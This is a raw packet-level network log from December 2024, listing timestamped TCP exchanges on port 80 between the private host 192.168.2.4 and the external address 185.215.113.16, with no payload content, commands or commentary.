Dec 9, 2024 23:09:10.822572947 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.822621107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.825845003 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.825912952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.825949907 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.826000929 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.829232931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.829291105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.829323053 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.829363108 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.832617044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.832669020 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.832688093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.832729101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.836026907 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.836085081 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.836090088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.836133957 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.839469910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.839529037 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.839587927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.839637041 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.842832088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.842885017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.842912912 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.842956066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.846179962 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.846254110 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.846282959 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.846329927 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.851550102 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.851562023 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.851607084 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.851629972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.854897976 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.854945898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.855032921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.855068922 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.858412027 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.858490944 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.858546972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.858601093 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.861696005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.861751080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.861835957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.861881018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.865125895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.865173101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.865319014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.865360975 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.868455887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.868510962 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.868635893 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.868681908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.871845007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.871901035 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.871973038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.872014046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.875268936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.875333071 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.875397921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.875444889 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.878787994 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.878798008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.878854036 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.882076025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.882133007 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.882205963 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.882255077 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.883511066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.883554935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.883584976 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.883620024 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.886879921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.886967897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.886991978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.887042046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.890333891 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.890346050 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.890413046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.893656015 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.893719912 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.961497068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.961507082 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.961549997 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.962244987 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.962255955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.962297916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.965064049 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.965115070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.965229034 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.965271950 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.967932940 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.967988014 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.968065023 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.968106985 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.971259117 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.971270084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.971308947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.971323967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.974256039 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.974304914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.977998018 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.978051901 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.978136063 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.978180885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.979296923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.979336023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.979428053 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.979470968 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.981762886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.981813908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.982739925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.982783079 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.982806921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.982844114 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.985323906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.985393047 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.985456944 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.985497952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.987921953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.987977028 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.988003969 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.988042116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.990391016 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.990438938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.990466118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.990505934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.992770910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.992816925 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.992882967 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.992928982 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.995201111 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.995240927 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.995326996 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.995383024 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.997705936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.997742891 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:10.997764111 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:10.997802973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.000057936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.000103951 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.000175953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.000217915 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.002511978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.002522945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.002568960 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.004601002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.004647970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.004702091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.004739046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.006880999 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.006943941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.007066011 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.007106066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.009126902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.009167910 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.009283066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.009319067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.011501074 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.011548042 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.011571884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.011607885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.013520002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.013566017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.013639927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.013676882 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.015691996 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.015733004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.015837908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.015876055 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.017843962 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.017877102 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.017910004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.017931938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.019231081 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.019272089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.019340038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.019381046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.020379066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.020422935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.020446062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.020487070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.021637917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.021684885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.021687031 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.021727085 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.022898912 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.022939920 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.023076057 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.023116112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.024204969 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.024247885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.024359941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.024395943 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.025434971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.025475025 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.025556087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.025597095 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.026712894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.026752949 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.027002096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.027041912 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.027957916 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.028017044 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.028074980 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.028120995 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.029259920 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.029306889 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.029325962 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.029364109 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.030467033 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.030509949 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.030608892 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.030646086 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.031724930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.031764984 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.031805038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.031842947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.033003092 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.033056974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.033082008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.033123970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.034290075 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.034332991 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.034353018 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.034392118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.035518885 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.035557985 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.035633087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.035670996 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.036813021 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.036823988 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.036854029 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.036875963 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.038044930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.038100958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.038132906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.038175106 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.039428949 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.039469004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.039706945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.039747000 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.040590048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.040625095 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.040630102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.040662050 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.041831017 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.041871071 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.041990995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.042030096 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.043070078 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.043112040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.043167114 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.043205023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.044344902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.044388056 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.044403076 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.044442892 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.045595884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.045633078 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.045701027 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.045737982 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.046884060 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.046917915 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.047051907 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.047091961 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.048119068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.048177004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.048233032 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.048275948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.049474001 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.049484015 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.049524069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.050661087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.050705910 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.050803900 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.050851107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.051985979 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.052022934 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.052028894 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.052054882 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.151516914 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.151582003 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.151592016 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.151618958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.152163029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.152261019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.152276039 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.152334929 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.153435946 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.153456926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.153481007 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.153496027 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.154692888 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.154743910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.154745102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.154787064 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.155973911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.156023979 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.156039953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.156076908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.157269955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.157315016 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.157342911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.157390118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.158474922 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.158493996 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.158521891 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.158539057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.169964075 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.170011997 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.170043945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.170090914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.170260906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.170305967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.170336008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.170377970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.171421051 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.171471119 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.171602011 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.171646118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.172513008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.172558069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.172629118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.172668934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.173610926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.173650980 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.173712969 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.173746109 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.174722910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.174761057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.174917936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.174968958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.175807953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.175884008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.175913095 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.175952911 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.176903963 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.176954031 CET	49770	80	192.168.2.4	185.215.113.16
